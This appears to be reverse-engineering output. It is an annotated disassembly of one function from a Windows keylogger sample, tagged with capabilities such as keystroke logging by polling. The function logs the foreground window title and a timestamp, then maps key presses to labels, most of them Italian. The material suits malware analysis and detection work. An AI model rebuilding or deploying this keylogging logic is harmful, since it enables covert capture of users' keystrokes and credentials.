Function at 0x1400019a0
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x180
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x1a8], rsi
mov ebp, ecx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor edi, edi
mov rsi, rax
mov r14d, edi
test rax, rax
je 0x140001a0b
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, 0x100
lea rdx, [rsp + 0x70]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r14, rax
lea rsi, [0x14000ab20]
mov r9, rsi
lea rcx, [rsp + 0x70]
sub r9, rcx
nop dword [rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + r9]
sub r8d, edx
jne 0x140001a35
inc rcx
test edx, edx
jne 0x140001a20
test r8d, r8d
je 0x140001ad7
nop
movzx eax, byte [rsp + rdi + 0x70]
mov byte [rdi + rsi], al
lea rdi, [rdi + 1]
test al, al
jne 0x140001a40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, [0x1400067b4]
mov edx, 0x40
mov r9, rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
lea rdx, str._n_n_Window:
mov rbx, rax
lea rcx, [0x14000a050]
call fcn.140003b00
mov rcx, rax
mov rdx, rsi
call fcn.140003b00
mov rcx, rax
lea rdx, str.___at
call fcn.140003b00
mov rcx, rax
mov rdx, rbx
call fcn.140003b00
mov rcx, rax
lea rdx, [0x1400067b8]
call fcn.140003b00
mov rsi, qword [rsp + 0x1a8]
lea eax, [rbp - 8]
cmp eax, 0x99
ja case.0x140001b08.9
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x1cfc]
mov ecx, dword [rdx + rax*4 + 0x1cc8]
add rcx, rdx
jmp rcx
lea rdx, [0x1400067d4]
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._INVIO__n
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._SHIFT_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._END_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._BACKSPACE_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._ESC_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._MENU_START_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._FRECCIA_SU_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._CAPS_LOCK_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._FRECCIA_GIU_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._FRECCIA_DESTRA_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
lea rdx, str._FRECCIA_SINISTRA_
lea rcx, [0x14000a050]
call fcn.140003b00
jmp 0x140001c96
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, 0x10
and bl, 1
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jb 0x140001c6e
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jb 0x140001c6e
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jae 0x140001c71
xor bl, 1
mov r8, r14
mov edx, 2
mov ecx, ebp
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test bl, bl
jne 0x140001c8e
movsx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx edx, al
call fcn.140003d10
lea rcx, [0x14000a050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140004aa0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x180
pop r14
pop rdi
pop rbp
ret